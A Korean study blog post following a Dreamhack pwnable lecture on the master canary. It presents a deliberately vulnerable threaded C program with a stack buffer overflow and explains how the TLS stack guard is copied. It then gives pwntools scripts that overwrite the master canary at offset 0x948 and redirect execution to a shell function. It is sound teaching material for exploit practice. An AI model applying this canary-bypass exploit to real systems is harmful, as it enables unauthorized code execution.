[Dreamhack] Master Canary: 3 - Master Canary Exploit Description

securitykss·2023년 2월 28일
0

Pwnable 강의(dreamhack)

목록 보기
47/58
post-thumbnail

이 글은 https://dreamhack.io/lecture/courses/267 을 토대로 작성한 글입니다.

1. Introdcution

마스터 카나리는 로더에서 할당한 TLS 영역에 존재하고, 해당 페이지는 읽기 및 쓰기 권한이 있다.

실습을 하면서 어떻게 exploit이 되는지 살펴보자

스포를 하자면, 카나리의 원조 값을 변조시킨다.(leak을 해서 얻어내는 것이 아닌)

실습 코드

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void thread_routine() {
  char buf[256];
  int size = 0;
  
  printf("Size: ");
  scanf("%d", &size);

  printf("Data: ");
  read(0, buf, size);

}

int main() {

  pthread_t thread_t;
  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }

  pthread_join(thread_t, 0);

  return 0;
}

code description

pthread_create 함수를 통해 스레드를 생성하여 thread_routine을 실행한다.

해당 함수에서 입력한 size 만큼 256 바이트 버퍼에 값을 입력할 수 있으므로 스택 버퍼 오버플로우가 발생한다.

2. Thread Stack

스레드 함수에서 선언된 변수는 일반적인 함수에서 사용하는 스택 영역이 아닌 TLS와 인접한 영역에 할당된다.

하지만 버퍼를 할당했을 때 TLS 영역에 존재하는 마스터 카나리 값을 참조한다는 점은 동일하다.

#define THREAD_COPY_STACK_GUARD(descr) \
  ((descr)->header.stack_guard						      \
   = THREAD_GETMEM (THREAD_SELF, header.stack_guard))

int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
		      void *(*start_routine) (void *), void *arg) 

{
    ...

    #ifdef THREAD_COPY_STACK_GUARD
    THREAD_COPY_STACK_GUARD (pd);
    #endif

    /* Copy the pointer guard value.  */

    #ifdef THREAD_COPY_POINTER_GUARD
    THREAD_COPY_POINTER_GUARD (pd);
    #endif

    /* Verify the sysinfo bits were copied in allocate_stack if needed.  */

    #ifdef NEED_DL_SYSINFO
    CHECK_THREAD_SYSINFO (pd);
    #endif

    ...

}

pthread_create 함수 코드이다.

코드를 보면, TREAD_COPY_STACK_GUARD 매크로를 통해 header.stack_guard에 위치하는 마스터 카나리 값을 가져온다.

스레드에서 할당한 변수는 마스터 카나리가 위치하는 주소보다 낮은 주소에 있기 때문에

스택 버퍼 오버플로우가 발생한다면 마스터 카나리를 덮어쓸 수 있다.

모든 함수에서는 함수가 실행될 때마다 FS 세그먼트 레지스터를 참조해 해당 주소로부터 0x28 바이트만큼 떨어진 마스터 카나리를 가져온다.

만약, 취약점을 통해 마스터 카나리를 임의의 값으로 조작할 수 있다면, 스택 카나리를 알아낼 필요 없이 익스플로잇할 수 있다.

3. Exploit

1. 주소 거리 계산

스택 버퍼 오버플로우 취약점으로 마스터 카나리를 덮어쓰기 위해서는 스레드에서 할당한 버퍼 주소와 마스터 카나리 주소의 거리를 계산해야한다.

프로세스가 다시 시작되어도 상대적인 주소 차이는 매번 같기에, 디버깅을 통해 알아 낼 수 있다.

2. 마스터 카나리 변조

버퍼 주소와 마스터 카나리의 간격을 알아냈다면 임의의 바이트를 채우고나서 마스터 카나리를 원하는 값으로 덮어 쓴다.

만약 마스터 카나리가 덮이지 않았다면, 함수가 종료되면서 _stack_chk_filed함수를 호출 할 것이다.

3. RIP 조작

마스터 카나리를 변조하면서 이미 스택 카나리와 RBP를 덮을 수 있게 되었고

리턴 주소는 giveshell 함수로 덮으면 끝이다.

3.1 주소 거리 계산

디버깅을 통해 스택 버퍼와 마스터 카나리 주소의 간격을 알아내 보자

일단 thread_routine의 buffer 주소가 rbp-0x110임을 알 수 있다.

디버깅을 통해 gdb에서 $fs_base를 통해 FS 세그먼트 레지스터에 저장된 주소를 불러오고

해당 주소에 0x28을 더해 마스터 카나리가 위치한 주소를 알아낸다.

그리고 버퍼 주소와의 뺄셈을 통해 offset을 구할 수 있다.

0x948만큼 떨어져 있는 것을 확인할 수 있다.

3.2 마스터 카나리 변조

offset이 0x948임으로 0x948 바이트 패딩과 임의의 8 바이트 값을 입력하면 마스터 카나리를 원하는 값으로 조작할 수 있다.

# Name: mc_thread.py

from pwn import *

p = process("./mc_thread")

payload = "A"*0x948
payload += p64(0x4141414141414141)

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

3.3 RIP 조작

조작이 완료가 되었다면, 조작한 카나리를 덮어쓰고 리턴 주소를 주어진 giveshell 함수로 덮어쓰면 셸을 획득할 수 있다.

# Name: mc_thread.py

from pwn import *

p = process("./mc_thread")
elf = ELF('./mc_thread')

giveshell = elf.symbols['giveshell']

payload = "A"*264
payload += "A"*8 # canary
payload += "B"*8
payload += p64(giveshell)

payload += "A"*(0x948-len(payload))

payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

마치며

이렇게 마스터 카나리 값을 변조해서 스택 카나리 검사를 우회하는 실습을 해보았다.

Reference

https://dreamhack.io/lecture/courses/267

profile
보안 공부를 하는 학생입니다.

0개의 댓글